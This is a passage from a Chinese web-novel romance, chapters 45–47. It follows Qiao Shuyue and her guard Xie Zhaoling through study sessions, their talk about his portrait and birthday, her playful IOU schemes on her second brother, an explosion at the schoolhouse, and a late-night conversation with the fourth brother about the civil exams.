可惜今天在学堂时,她因为身侧无人,心不在焉,也没好好听讲。 所幸她还有前世的积累,于是结合着从前的积累,教习过程还算顺利。 谢昭凌托着腮,一手拿着毛笔,假装没发现她磕磕绊绊的讲学。 第一遍略讲结束,两人对面而坐,各自进行抄写,一时间寂静下来。 谢昭凌眼睛落在字里行间,思绪却逐渐飘远。 他忽然问道:“在你梦中,我是那样?” 乔姝月茫然抬头,“哪样?” “画中的模样。” 乔姝月颔首,她顿时领悟他的意思,“是和你有些差别,不过那的确是我印象里的你。” 他们两世相遇于不同的年龄阶段,不同的境况之下,自然会有不同。 她可以靠着成年以后的样子绘出他少时的样貌,却无法精准把握他的面部神情。 陛下温柔的模样太深入她心,所以画自然而然就…… 怕他揪着这一点不放,继续追问,她赶忙扯开话题。 “本来第一次见你我就要去救你的,但不凑巧,被大哥四哥撞见了。我那会对四哥的印象……”乔姝月面色古怪,压低声音,“我跟你说实话,你别去跟四哥告状啊。” 得了少年的应允,她才道:“我那时很怕他的,觉得他深不可测,那也不能怪我,谁叫他老是和大哥在一处,一丘之貉!我不敢跟大哥说的事,自然也不能让四哥知晓。” 一丘之貉? 谢昭凌迟疑地看向她,“应当是志同道合,意气相投吧?” 乔姝月哦了声,“差不多嘛,你听懂了就好。” 她乱用成语并非一日两日,谢昭凌显然也已习惯,他无奈地扶额低笑。 “我当时病着不能出门,就画了你的画像让李成出去探查。得知你受人欺负,我恨不得立马冲过去,可是不行啊……除了二哥,其他人我并无把握。我总不能前脚刚带你出来,转头你就被父兄扭送官府吧。” 乔家不收来路不明之人,尤其他还是从悦泉楼出来的。 想到自己那个迂腐老旧又刻板严肃的父亲,乔姝月幽幽叹了口气,放下笔,苦恼地揉了下脸。 还好有四哥愿意帮她出头作保,去求了大嫂弄来照身贴,这才解决了燃眉之急,让他们暂且安全。 小姑娘如霜打的茄子,蔫蔫地趴在桌上,闷闷不乐道:“你会不会觉得我很无能?什么都做不到。” 她手指轻轻戳着少年的手背,一下一下。 帮谢昭凌解决身份问题的是四哥和大嫂。 帮二哥脱困是谢昭凌做的。 好像她唯一做成的事,就是出钱买下了他。 可这……二哥也有钱,也可以做到啊,有她没她又有何差别。 谢昭凌垂眸看着手背上那只作乱的小手,并未躲开,沉吟片刻。 “姑娘身负预知之力,是旁人比不得的。” 乔姝月愣了下,手上动作一停,手指僵在半空。 谢昭凌将自己手中的笔塞到她半开的掌心中,拿起她面前桌上的笔,继续抄写。 他垂下眼,神情专注,嗓音温柔:“行兵打仗中,军师一职不可或缺,有时甚至比能打仗的将军还要重要。” 乔姝月定定看他半晌,“嗯,我知道了,阿凌哥哥。” 她重整精神,振作起来,坐直身体,拿着他的笔也继续抄写。 “二公子和四公子当初都反对你将我带回来,预知梦他们不知,在他们眼中,是你一意孤行,个中委屈只你一人知晓,你没想过若是被人发现我的身份有异后,你会遭受何种惩罚?” “当然想过啊,那又如何?”乔姝月头都不抬,专注在书本上,目光沉静,“你既然也说了因为预知梦,那挨罚和家破人亡比起来,孰轻孰重呢?” 小姑娘说起正事来,青涩与纯真尽数褪去,只余冷静从容,又给谢昭凌一种她全然不像个小孩子的感觉。 她与酒楼护院理论时条理分明,分毫不让。 在对待他的事上慎之又慎,思虑周全。 说起二公子被栽赃一事亦聪慧机敏,当二公子发生意外,她做起决定来更是果决坚定。 没有哪家女孩会如她这般璀璨耀眼,让人挪不开目光。 她忽得抬头,弯起眼睛,笑容很甜,“再说,委屈从来不是我一个人尝的,不是还有你陪着我嘛。” 谢昭凌心头微动,目光也逐渐柔软下来。 他喉结微微攒动,正欲开口。 小姑娘又狡黠地眨了眨眼睛,“况且我第一面就喜欢你,知道你不是坏人,自然不至于太冒险。” 若是什么丧心病狂、罪恶滔天之人,她也万万不敢往家里带。 陛下是非分明,温文尔雅,是她见过最沉稳内敛的可靠之人。 这可是她喜欢的人呀。 乔姝月说完便又低下头,一边抄书,一边低声念诗。 谢昭凌神情微凝,他杀过不止一人,如此也不算坏人吗?小菩萨心地良善,有些事还是不要让她知道为好。 谢昭凌“嗯”了声,垂眸看向白纸,也继续抄。 半晌,他回神,看向方才所书写的一行字—— 第一面就喜欢你,喜欢喜欢喜欢。 谢昭凌:“……” “阿凌哥哥,这个字我怎么都写不好,你教教我吧?” 头顶传来小姑娘的声音,他心里一慌,在那几个字上重重落笔。 大片的墨渍将字迹晕染。 乔姝月抬起头,见白纸黑了一片,诧异:“这是怎么了?” 谢昭凌若无其事地放下笔,另一手将纸团成球,“哪个字?” 他起身,将纸团缩进袖子里,冷静从容地站到她身边。 乔姝月:? 谢昭凌面色如常,“脏了,等会我带出去扔掉。” 乔姝月瞄了一眼他的袖子,一头雾水地“哦”了声。 “说来也奇了,你启蒙时日不长,进步飞速,竟已快要超越我了。” 乔姝月每每想起都觉不可置信。 谢昭凌没应声,他专注地去看她写的东西,拿过她的笔,在空白的地方写下示范。 “这个字是上堂课夫子讲过的,没听?” 乔姝月心虚地别过头,嗯嗯啊啊,说不出话来。 她仗着自己有前世的经验,许多课都是胡乱听听就过去了,心思根本没在书本上。 她上课光偷瞟身边的人,哪儿还顾得上那些。 不能说她读书时不用心,实在是身边人吸引力太过。 “嗷!” 头上挨了一笔杆,乔姝月捂着额头看过去。 只见少年单手撑在案桌旁,侧着身子,居高临下,俯看着她。 那眼神说不上严厉,但也绝对不温柔,于学问一道上,陛下素来不会容许人敷衍。 乔姝月被看得心里发怵,干笑了两声,乖乖巧巧地拿起笔练习。 谢昭凌在一旁看了会,见她再无错误,便坐了回去。 等他抄完最后一笔,收拾东西要离开,乔姝月忽然又抬头,“我能问问,你为何会对画像那般警觉吗?” 见他不动,她眨巴眼睛,又道:“不方便说也无妨,你回去放好东西记得再回来,我等会想再和你探讨一下明日的功课。” 谢昭凌没有回答,带着自己的书回了房间。片刻后,他只身返回。 两人又对着诗经研习了一番,天色渐晚。 快要到晚膳的时辰,谢昭凌起身离开。 他走到屏风后,犹豫了半晌,忽然开口:“当初从家乡离开,当地的官府与沿途皆设关卡,他们有我的画像,所以我一路都在躲避。” 遇到有他画像的人靠近,他便提起万分的警惕。 房门从外打开,玉竹端着晚膳走了进来。 谢昭凌没有回身,对着大敞的房门,轻声道:“从未想过西京也会有认识我的人。” 人走后,乔姝月始终提不起兴致。她手托腮,心不在焉地戳着碗里的饭。 心烦意乱,叹了口气,“原来我并不了解他。” 玉竹在旁伺候,闻言歪过头来,疑惑:“不了解谁啊?” “没谁。” 不了解前世的谢昭凌。 起码对于他少时的经历,对于他这一路的艰辛,对他曾受过的伤,一切皆不知。 他倒是将她的幼时经历与及笄后的事都了解得详尽透彻。 这不公平。 好在她今生还有弥补遗憾的机会。 乔姝月忽然想起一开始送他亲手做的荷包,荷包里还装了珍稀的药草,他起初不肯接受荷包,后来终于接纳,也要将药草扔掉。 会不会也像画像一样,有类似的理由? 她明日再去学堂,得托施芊回家问问她娘,那些药草究竟有何玄机。 当晚回去,谢昭凌又举着那张画纸看。半晌,塞进了乔姝月送给他的荷包中。 次日乔姝月同施芊说了安神药草的事,施芊回去问过施掌柜,配方不可外传,但施掌柜保证里头绝没有伤人身子的成分。 “伤身子”三字让乔姝月愣了半晌,她恍惚间明白了一些事,脸色变得煞白。 那之后送给谢昭凌的无论是进补的药物还是吃食,她都格外小心挑选并把关,送过去时还命人同他说清楚都有什么,让他放心。 自从那日两人敞开心扉聊过以后,谢昭凌便已对她放下了戒心,虽不理解她这么做的用意,但也没多问,总觉得小菩萨总有自己的道理,他接受就是。 在谢昭凌入学堂满一个月时,许夫子宣布,转日要进行一次课中小考,将这一个月中学过的诗文考察一遍。 这可苦了二公子乔良。 课后乔良找到老四乔誉,想让对方在考试时给他透露答案,被乔誉铁面无私残忍拒绝。 乔誉甩甩衣袖潇洒离开,乔姝月与谢昭凌并肩走来。 乔良仿佛看到了救命的神仙,“哎哟”一声,狗腿似得扑了上去,抓着乔姝月的手臂,对她一顿夸赞。 “我天仙一般的妹妹哟,上天下地独一份善良的仙女妹妹、菩萨妹妹哟!” 谢昭凌拎着两人的书篮,闻言微微勾起唇角。 乔姝月甩不开他,三个人便一起往回走。 乔良欲哭无泪,“好妹子,你也不忍心二哥再被夫子训斥吧?” 乔姝月嫌弃地抽回自己的胳膊,“二哥还未习惯 璍 吗?我都要习惯了。” 许夫子并非头次安排小考,他们进学这一年多以来,少说也考过十次,次次乔良都是垫底。 乔良回回都表现得很惧怕夫子,可夫子转身离开后,乔良又一副不痛不痒的模样,转头就把斥责都忘了,可谓是将“绝不为难自己”的精神发挥到极致。 乔姝月看着二哥抓耳挠腮的模样,纳闷道:“二哥素来如此,怎得这回急成这般?” 依她看,就算夫子在二哥睡前拎着他耳朵教训,等夫子离开不出一刻,二哥也能倒头就睡,甚至一夜美梦。 乔良欲言又止,幽怨地看了一眼身后的跟班,闷声道:“这不是又有新人了吗。” 除去乔家三兄妹不谈,施芊打小也跟施掌柜学过一些,认的字不比官宦家的姑娘少,她还帮施掌柜打理自家的香料铺,见得人多,知道的事也多,有事一些连乔姝月都没听说过的古籍,施芊都知道。 乔良一开始便没把施芊当做什么都不懂的后宅女子看待,因而从未生过比较的心,在他眼里,施芊与自己妹妹于学问上是不相上下的。 对方的能力在他无法企及的高度上,一开始便自知不如,他便不会自怨自艾,不会因追赶不上而自惭形秽,徒生焦虑。 可是新来的谢昭凌不一样啊! 谢昭凌来乔家之前可是连名字都不会写! 他乔良,堂堂乔府二公子,御史之子,哪怕是个不学无术的草包,也断不能被一个初学者甩开太多吧。 他过得了自己这关,也过不了父亲那一关啊! 乔良一想到父亲那张严肃的脸,吓得冷汗直流,“好妹妹,要不你让谢护卫,啊不,让你的阿凌哥哥少考几分,成吗?就别显得我太胸无点墨了。” 乔姝月:? 谢昭凌:“……” 被两个人用鄙夷的目光看着,乔良不为所动,厚着脸皮,继续央求:“帮帮哥哥好不好?马上就过年了,让哥哥平安地过个好年吧!” “谢护卫,啊不,”乔良眼神缠绵地看向少年,语气温柔又黏腻,“阿凌弟弟,好弟弟,你看你这么聪明,何愁没有当第一的时候?你这才第一次考试,若是一下迈得太高,往后还怎么进步?这一次就走慢一些,一点一点走到高处,不是更有成就感吗?” 谢昭凌眉头紧拧在一起,脸色阴沉得过分,被那一声“阿凌弟弟”恶心得够呛。 “阿凌”这二字果然只有小菩萨说得,旁人嘴里吐出这两字,他只想给对方一拳。 乔良还在持续劝说: “再说了,你一下子考得太好,乔誉那小心眼的肯定不放过你,他一直跟你较着劲呢,你没来时,他打遍天下无敌手,你来了以后,他读书的时辰都变多了,生怕你超过去。” “你初入乔府在他院里,他就没少针对你。自你离开,你和月儿这般亲近,他早看你不顺眼了,新仇旧恨加在一起,你前路艰难啊。” “毕竟你还要待在乔家,这点人情世故还是要省得的,这一次就退一步,于你于我于他都好。” “初次考核,发挥失常也是有的,夫子亦不会因此怪罪于你,甚至还会因你下一次的进步而大喜过望,岂不妙哉!” 乔良说得口干舌燥,半晌没听到动静,一回头,空空荡荡。 乔良:? “他人呢?” 没看到从身边经过啊。 乔姝月指了指头顶,“翻墙走了。” 早在那句阿凌弟弟之后,谢昭凌就跑了。 乔良面如菜色,肩膀垮了下去,“好吧,那二哥只能自求多福了。” 他垂头丧气,就要离开。 乔姝月“哎”了一声,拉住二哥的手臂,“我有一计,你要不要听?” “要要要!!” “我和阿凌哥哥每日都会提前看一遍次日的功课,方便到时学得更省力些,我发现他即便没学过,也总能找到最重要的句子。” “唔,可能这就是天赋异禀之人独有的能力?总能在一众无用的知识中找到重点。” 乔良两眼茫然,“……嗯?所以呢?” 这是在跟他炫耀? 乔姝月斜他一眼,她都暗示到这地步了,还听不懂?真笨。 “所以你可以找他划一划重要的句子嘛,诗句理解你来不及学,但若能将诗句都默写下来,也算能交差?我记得每次考试,父亲对你的要求都放得很低,说你能背下来就不罚你来着。” 乔良猛地点头,而后又犹豫起来,“会不会太多?我怕自己记不住。” 乔姝月用看废物的眼神看他,无奈道:“一个月中一共也就讲了二十几首,每首都让阿凌哥哥猜一下考点,还有将近九个时辰呢,今晚别睡了。” “有道是——垂老抱佛脚,教妻读黄经。”① “只能临时抱抱佛脚了,也没别的法子。” 乔良又开朗起来,带着小厮,就要去追谢昭凌。 乔姝月笑了声,“二哥,我帮你去问,等他划好了叫人给你送过去。” “那敢情好!” 乔良喜出望外,没想到妹妹这么爱自己,不仅给他出谋划策,还送佛送到西,连求人这事也一并揽下了。 他看着妹妹,喜笑颜开。 半晌,灿烂的笑容慢慢消失。 妹妹这是什么表情?好熟悉。 乔良记起一些不好的回忆,结巴了声,“要不,要不还是算了,我自己去找他。” 说着就要快步离开。 乔姝月慢条斯理地摸了下头发,拖长音调,漫不经心地开口: “二哥以为,我不发话,谢护卫会帮你吗?” 乔良:“……” 对了,是这个表情,是这个语气。 就是这副坑他的样子,他太熟悉了。 这次他终于学聪明了。 乔良认命道:“说吧,这次又有什么条件?” 乔姝月勾唇一笑,冲他勾了勾手指。 “上回他救你命,你的欠条还没写,不如再加上这次的一起算,如何?” 乔良下意识摸了摸空空的钱袋,心里权衡是除夕顺利度过重要,还是这身外之物重要。 没怎么犹豫,便做了决定。 债多了不愁。 反正已经欠她三十两了。 乔良悲痛地问:“这次要价多少?” 乔姝月盘算了一番,“就四两吧。” 乔良:? 上回悦泉楼那事,先要他十两,后来又要三十两,这次怎么这么便宜? 他顿时又欢喜了,生怕乔姝月反悔,急急道:“那就这么说定了,我回去给你写欠条,共三十四两。” 乔姝月看着二哥欢快的背影,自己心里也美滋滋的。 细水长流嘛,单次定价虽低,但往后机会还多着。要是一口气就把人掏光,没了下回,她才是亏了。 上回要得多,是因为事关生死。 这次少要一些,他下次有事解决不了肯定还能想着他们。 源源不断的银子啊。 她不舍得谢昭凌做工辛苦,只能继续敲诈二哥,劫富济贫了。 算起来,谢昭凌每月的月银一两,除去被扣除的头三个月,光是月钱就能存下三两。② 加上这几个月谢昭凌偷偷摸摸去赚的二两多外快银子,还有先前被她夺走的那部分,应该差不多能有十五两。 二哥那还欠了三十四两。 已经快还清了。 多亏了有二哥啊。 乔姝月噗嗤一笑,嘴里哼着歌,摇头晃脑回了木兰院。 第46章 【46】 欠条送到乔姝月手里,而乔良平安地度过了今年最后一次课堂小测。 因其表现与往日对比出奇得好,乔良难得听了夫子的夸赞,连乔父都久违地露出了笑脸。 年前的这段时间,乔良过得格外顺心。 时间一晃,到了年关。 腊月中旬,吴大夫又来找谢昭凌,给他仔仔细细里里外外看了一番。 当时屋中只他二人,说了什么,无人知晓,只知道吴大夫离开时神情凝重,很不高兴。 乔姝月想到谢昭凌的旧伤,情绪低落下来。 谢昭凌倒是满不在意,心不在焉地翻看诗经,“再有两日,今年的课就结束了。” 乔姝月勉强笑了下,“嗯,夫子劳碌一年,也要休息的。” 毕竟他们日常都要念书,唯有过年过节才会放假。 冬假从小年一直放到上元节后。 “夫子留在乔府过年吗?” 谢昭凌一边问,一边担忧地盯着她瞧。 乔姝月不想他也跟着自己心情不佳,于是强打精神,深深呼吸,吐出一口浊气。 她神色恢复如常,点头道:“表叔在老家已没了亲人,不然他也不会再回到这里。” 过年也要准备节礼,乔姝月这几个月又存了点银子,二哥说要将欠款分几次结清,现在头一笔已经在她手里了,她打算这些全都用作购买节礼,毕竟主意是她出的,她拿一部分理所应当。 谢昭凌不着急还钱,他的那份就等以后二哥再送来,就算作是他的。 俩人各自做事,偶尔闲聊,气氛融洽。 谢护卫如今既是近身护卫,又算伴读。 刘妈妈看着两个孩子这般要好,感慨了声:“又一年过去,姑娘长大了一岁。” 乔姝月心想的却是她离能议亲又近了一年,她羞涩地瞄了一眼谢昭凌,见对方一味只埋头苦读,一眼都不往她这看,心里又不免郁闷起来。 她脸颊微红,又羞赧又苦恼,明明是好事,她却显得扭捏极了,“还未到生辰,怎么能算大了一岁呢?” 光她长大一岁又有何用?他对自己都没那个心。 她真恨不得一朝就到前世那个年纪,让谢昭凌对她一眼动情,狠狠着迷。 刘妈妈笑得合不拢嘴,打趣道:“哟,姑娘往年过年都嚷嚷着长大啦长大啦,怎么今年又不想长大了?” 乔姝月哼了声,没言语。她的心里话说不出,说出来太过惊世骇俗,还是不说了。 她别过头去,继续去画给父亲的贺岁礼。 翻过年来是虎年,她预备送父亲一幅虎图,希望父亲来年的仕途能如龙腾虎跃一般,为官公正,有所作为。 她之所以选择画老虎,倒也不全是因为虎年,而是设计上的一个巧思。 老虎是一种沉着又稳重的动物,捕猎时冷静谨慎,这份品质恰恰是她那个易怒的父亲所缺少的。 希望父亲得此画后,新的一年里能多思多虑,谋定而后动,少得罪些人,这样她挽救乔家的命运时来还能少些麻烦事。 就在乔姝月作画渐入佳境时,忽听少年犹豫着开口: “姑娘的生辰……在几月?” 乔姝月手腕一顿,反应极快地抬肘,这才没叫一幅好画毁了。 刘妈妈诧异挑眉,笑道:“四月十六。” 谢昭凌低声重复了一遍日子。 刘妈妈捂嘴笑道:“怎么,谢护卫是要给姑娘过生辰?可惜今年已经过了,得等明年,不过也快了,还有四个月。” 谢昭凌耳根微热,面色无波,避开了二人的视线,“不是。” 他如何能为小菩萨庆生?这是她家人才能做的事。他心里虽将她当成如妹妹如恩人一般,可这都是他私自的想法,不可与人说的。 她待他和善,是因为预知梦,且喜欢他这副皮囊,他却不能得寸进尺,真的将自己当做多么重要多么尊贵的人,他还不配。 刘妈妈不管他是口是心非还是害羞了,说道:“每年生辰,家里都会聚在一处,晚上几位公子还会带姑娘去放天灯,祈福新的一岁里能平平安安的。往年都是李护卫跟着,今年,就让谢护卫来吧。” 谢昭凌沉默良久,“嗯”了声,站起身,微微颔首,抱着自己的书就要往外走。 乔姝月忽然问道:“谢护卫呢?” 谢昭凌停下脚步,“什么?” “谢护卫知道了我的生辰,那你的呢?是哪一日?” 乔姝月其实知道他的生辰,从前陛下说过的,在五月初五,但他说自己不喜过生辰,说那日不吉利。有种说法是说,五月初五,为恶月恶日。 五月五日生,男害父,女害母。① 她前世知道,此刻应该不知,所以正好问一问。 谢昭凌微怔,思忖片刻,说道:“那就……五月十三吧。” 乔姝月皱了下眉,怎么和前世说的不一样? 而且他的语气也不对,什么叫“那就”?好像是现想出来似的。 刘妈妈也听出其中异样,将疑问说出口:“谢护卫是不记得自己的生辰了?” 谢昭凌道:“并非,其实是我不知自己真实的出生年月,我是养父母捡回家的弃婴。” 原来说出来自己的出身并无想象中那么困难,谢昭凌松了口气,甚至还能露出淡淡的笑容来。 刘妈妈眼中怜爱更盛,点点头,“原是如此。” 众生皆苦,各有各的难法,这孩子能来到京城,实在不容易。 “那你既然不知道生辰,五月十三,又是怎么来的?” 谢昭凌不好意思地抿唇,迟疑地看向刘妈妈,他有些后悔自己说了这个日子,方才应当直说不清楚的,好过此刻还要说些难为情的话。 “姑娘,谢护卫不方便提就算了吧,我去给姑娘泡杯花茶。” 刘妈妈有眼色地出门去,将屋子留给他们两个人。 谢昭凌深吸了口气,这才开口:“那日,是姑娘收留我的日子。” 她给了他新生,他便选了那日做他的生辰。 谢昭凌说完便脚步仓促地跑出了门。 乔姝月呆呆望着空荡荡的门口。 目光逐渐温柔,半晌,捂着有些发烫的脸颊,低头笑了起来。 当晚,乔姝月躺在榻上,翻来覆去睡不着。 她反复在思索,前世陛下所说的“五月初五”是从何得知的。 前世她是知道养他长大的人并非他的亲生父母,当他说起五月初五这个日子时,她只以为是他养父母告诉他的。 如今看来,竟不是吗? 还是说他不愿意告知实话? 应当不至于在这事上还对她有所隐瞒,他们才刚解除了最大的误会,对彼此坦诚,在这种无关紧要的事上,应当不至于激起他的反抗,他看上去也没有很抗拒这个问题。 那么就只有一种可能—— 五月初五是他真正降生的日子,而陛下之所以知道,是因为后来他找到了亲生父母。 此时此刻的谢昭凌应该对自己的身世毫不知情。 而她对此,同样也是一无所知。 ** 今年的最后一堂课后,谢昭凌将自己预备的年礼送给许夫子。 是一把檀木的新戒尺。 他折断了夫子原来用的那把,理应赔一个新的。 夫子感动得热泪盈眶,拍着他的肩膀夸了好一会。 谢昭凌本就不喜欢与让人接触,为了不耽误更多的时间,硬着头皮,忍着他碰触,听他夸赞。等从夫子手下逃出,已经过去了小半个时辰。 学堂放假,但谢昭凌却没有松懈。 他每日依旧卯时起床,先到二公子在乔府北边开辟的练武场练半个时辰的剑,用攀云剑。 这个练武场是乔良为方便自己发泄无处释放的力气用的,乔良自从悦泉楼那次意识到有人要害他后,很长一段时间都不敢出去玩乐,每日在家闲得无聊,便在大嫂的提议下做了这个场子,没事的时候过去耍耍刀枪舞舞剑。 谢昭凌在最后一次小测中帮了他许多,在乔姝月的怂恿和胁迫下,乔良为答谢木兰院那对主仆的大恩大德,也特许谢昭凌来此练剑。 乔良院子里那些护卫们偶尔会同谢昭凌切磋两招,他们时常同乔良说谢护卫身手了得,虽无章法,但胜在灵活机敏,出手果断,且毫不留情,总能将人打趴下。 乔良总想和对方比试一番,可惜他早上起不来,两人极少会碰到。 每日晨间谢昭凌从练武场归来,吃过早膳后,又开始履行护卫之职。等到一日结束,乔姝月回房休息,谢昭凌便拎起书篮,独自一人去到学堂,研习功课。 今日是放假的第二日,谢昭凌到达学堂时,左边第二排座位上坐着个人。 谢昭凌已经是第二次遇到乔誉了。 他来这里两日,每日来此,四公子都在。 头一日遇到时,两人都十分意外。有了前日的经验,今日再碰见,二人显得平静许多。 谢昭凌冲对方微微颔首,一言不发地在他前面坐下。 两个人同昨日一样,各干各的,不寒暄,不交流,一直到子时,谢昭凌收拾书篮,看了一眼后座仍奋笔疾书的人,默默起身离开。 等到第三日,谢昭凌照旧在晚间来到学堂,开始读书。 此时此刻,乔姝月在房中扒拉着算盘,计算谢昭凌的存银。 二哥不知从哪儿弄够了银子,将那三十四两一口气全还了。 这下放在乔姝月这里的已经有四十八两八钱了。 “再干一个月,拿一次月银,就能还清啦!” 她嘟嘟囔囔,兴高采烈,刘妈妈看得发笑,她是知道近来主子在偷偷做什么的,闻言忍不住道:“等明日把这个好消息告诉谢护卫?” 毕竟谢昭凌可不知道乔姝月一直暗地里敲诈她二哥。 “为何还要等明日!现在就告诉他!” 他们才分别没一会,他应当还未睡下。 好消息要是憋到明日,她今晚就很难入睡了。 刘妈妈摇头,说道:“近几日谢护卫都很晚才回来的。” 乔姝月一愣,“回?他还出去了吗?” “是,大抵亥时出门,子时前后回来。” “这么晚,他去哪儿了?” 这么晚应当也没有外快让他做了吧? 刘妈妈笑道:“读书去了。” 乔姝月诧异道:“读书在房中不能读吗?天这么冷。” 刘妈妈感慨道:“我问了李护卫,他说谢护卫怕影响他睡觉,就自己跑去学堂念书了。那孩子心善,会为他人着想。” 乔姝月听后,唇角慢慢勾起,“他是这样的人。” 初接触时看着疏冷,防备心很重,但若是同他熟悉起来,被他信任以后,他待人那颗心很火热的。 “左右睡不着,咱们过去瞧瞧?将这个好消息告诉他!” 刘妈妈无奈,去拿了一件披风,“不许去的话,姑娘今晚又要睡不着了吧?” “那是自然,我心里藏不住好事。”乔姝月赧然笑起来,“我穿厚些,不会受凉的。” 入了冬之后,乔姝月裹得像个绒球。 此刻已经快到子初,府上漆黑一片。 刘妈妈拎着灯笼,站在来风的一侧,陪着乔姝月往外走。 冬夜的路似乎格外寂静幽长。 “姑娘,你不怕谢护卫还清以后,离开乔府吗?”刘妈妈叹了口气,“他如今可是自由身。” “若是他肯签下身契,早还晚还都无甚差别,可他来咱们府上才半年,老奴不确定他的心有几分属于乔家。” 乔姝月弯起眼睛,像只餍足的小狐狸,她笑道:“当然,他不会走的。” 从他接受了攀云剑,对她说往后都会保护她时,她便能笃定,他不会再离开。 哪怕没了债务的束缚,他也不会走了。 她从前夸下海口说的会让他心甘情愿留下,如今竟然已经实现。 回想初遇时他的冷漠与拒绝,愈发觉得这半年来每一步都走得十分不易。 她要珍惜这来之不易的信任,将他留住,起码在他对自己动心之前,都绝不能让嫌隙再在二人之间产生。 寒风自东南方刮来,乔姝月搓了搓手,放在嘴边哈了一口热气。 乔姝月想得专心,没留神前方忽然窜出一个黑影。 那人走得匆忙,跌跌撞撞,不知是从哪里拐出来的,直直就撞上了刘妈妈的灯笼。 噗嗤—— 灯笼灭了。 幸好刘妈妈躲闪及时,没让那人撞得一踉跄。 乔姝月受了惊吓,尖叫声卡在喉咙里,浑身起了一片鸡皮疙瘩。 刘妈妈沉脸拧眉,看着黑暗之中摔倒在地的人,训斥道:“莽莽撞撞,你是哪院的?这么晚了乱跑什么?!” 那人带着斗大的兜帽,身穿着黑色的披风,将自己严严实实裹起来。 听到刘妈妈的问话,并不做声,反而将自己的帽子往下拉了拉。 行迹鬼祟,遮遮掩掩。 刘妈妈顿时警觉,上前一把抓住那人的手臂,握上时硬邦邦的,触感不对,刘妈妈大惊失色,那人竟是带着武器的! 刘妈妈想也不想,转身护在乔姝月身前,她本以为那人会攻上来,怎料那人只是狼狈地爬起身,拿着手里的东西慌慌张张地逃跑了。 在那人消失在视野之时,东南方忽然“轰”得一声—— 有什么东西炸开,砖瓦飞溅,火光冲天。 乔姝月惊疑不定看了过去,竟是学堂的方向。 第47章 【47】 第三次和乔誉共同夜读,谢昭凌已然习惯。 他如常颔首打过招呼,便坐在座位上,翻开了书。 《诗经》他已经学完了全部,如今已开始阅读《礼记》。 他与乔誉的阅读速度不相上下,两人时常前后接连着翻动书册。 谢昭凌读过一页,身后也响起翻书的声音。 又读过一页,身后的声音没有响起,谢昭凌未曾在意。 等到再看过第三页,依旧没有听到身后传来的声音,谢昭凌目光微凝,指尖一顿,心中闪过一丝疑惑。 自他第一页过后,乔誉翻书的声音便停了,而后久久再无动静。 谢昭凌收回心思,没有去管他人的闲事,他翻过这一张,继续投入地看进去。 他想专心,却有人终于按捺不住性子。 “……谢护卫?” 深夜里,乔四公子无力的声音从身后幽幽传来。 谢昭凌:? 他倒不担心乔誉会对他做什么,只是这样让人摸不清头脑的情况,着实让人在意。 谢昭凌沉默片刻,没听到身后继续说话,也不再理,默默读完这面,又翻了一页。 身后人传来微弱吸气的声音,似乎也在犹豫,最终在谢昭凌读到第十页时,还是酝酿出了一声: “谢护卫。” 这一声比先前坚定,谢昭凌听出来,若自己依旧不理不睬,那之后他将无法再安心读书。 谢昭凌面无表情回过头去。 对上乔誉那双微微发红的眼睛,他看上去有些憔悴,眼底泛着青灰,神色茫然。 谢昭凌微微一愣,而后声音沉了下去,“何事。” 依乔誉的性子,若非必要,不会同他说话。今夜一而再地唤他,想来是天大的事。谢昭凌做好了准备,等他问话。 结果等了半天,乔誉说道:“谢护卫……来年要参加科考吗?” 谢昭凌:? 他觉得乔誉在骂他。 他读书认字不到半年,这种问题该他思考吗? 没等谢昭凌答,乔誉垂着头,小声嘟囔着:“谢护卫若考,当从县试开始,等成为童生后,方可去院试。” 哦,对了,谢昭凌记得乔姝月说过,乔四公子在十二岁时便已考过县试,成了童生。而后只要再参加院试,考中秀才,便可入官学读书,就像乔家三公子那样。 可这些奇才和他有什么关系?干他何事? 乔誉又轻声嘀咕:“不、不对,参加科考要出身清白,要提供履历,谢护卫能考吗……” 什么意思?说他不是好人?叫住他,就为了骂他两句?真是吃饱了撑得。 谢昭凌冷着脸,要转回去。 乔誉急急拦他,“抱歉,我并非有意冒犯。” 谢昭凌挑了挑眉,这还是乔誉第一次同他道歉,还以为眼高于顶的四公子没有低声下气的时候。 谢昭凌道:“我读书,从来都不是为了科考。” 乔誉愣了愣,喃喃道:“是啊,你是为了月儿。” 见乔誉这么直白地说出来,谢昭凌有一瞬间不自在,他引开话题道:“四公子遇到难事了?” 见着乔誉眼底的光黯了下去,谢昭凌就知道自己猜对了。 谢昭凌又耐心等了会,大概几息功夫,在他耐心即将耗尽时,乔誉终于开口。 他茫然道:“我不知道自己该不该去考。” 谢昭凌诧异道:“四公子这是在问我的意见?” 院试在来年八月,时间已经不多了,他竟还在犹豫摇摆。 乔誉迟疑了下,“嗯。” 谢昭凌:“……” 如今他二人虽不至于见面便针锋相对,算得上点头之交,但也没好到能敞开心扉的地步。 通常乔誉会看在谢昭凌救过妹妹和二哥的份上,对他不再排斥。 而谢昭凌人不犯我我不犯人,为了乔姝月,也不会再将乔誉的态度放在心上。 可此事重大,乃人生几桩头等大事之一,来问他一个小小护卫的意见,未免太…… “我们并未有多熟。”谢昭凌直白道,“四公子问错人了。” 乔誉沮丧道:“我知你定会觉得匪夷所思,可我实在没有能商量的人了。” 二哥不喜读书,三哥常年在国子监,而大哥与父亲…… 妹妹就更不必提了,她不会参加科考,而且他也不希望被妹妹看到自己这么软弱、没主见的一面。 谢护卫有天赋,有能力,想来也是不甘平庸之人,应该能懂他。 虽然他们二人一直互看不顺眼,此刻关系也不见得有多好,但乔誉就莫名觉得,他和谢昭凌是一类人,他们在某些时刻,互相能懂得彼此的想法。 不是什么非要拼个你死我活的敌人,那么问问他的想法,也不无不可。 乔誉抬起头,鼓起勇气,将自己心里憋闷了许久的话,都一股脑同眼前这个无论是身世地位、还是脾气秉性,都曾被他瞧不起的人道来。 “我与月儿并非同母,我乃庶出,和二哥一样,都是姨娘所生。” “二哥的姨娘从小就教导他凡事差不多就好,不用太过努力,二哥也早早就接受了自己天资平庸这件事,并不在读书这事上伤神,他朋友众多,人缘也比我好,这是他的优点,他心里不存事,凡是想得简单,看不深,所以我就算问他也不会得到答案。” “我的姨娘……她常年缠绵病榻,从我记事起便极少见她。一年到头相见的次数,一只手都数得过来。我一直以为她不喜欢我,所以也不去烦扰她,我幼时和月儿一起养在母亲膝下,自然和母亲的关系更亲近些。” “月前母亲试探我的口风,母亲未曾明说,只是她提到了科考相关之事,叫我不得不疑心。那段时间,姨娘竟然开始出门了,她的病还是老样子,可她身体那般不适,也要去见母亲,两人时常见面,一聊就是一个时辰。” 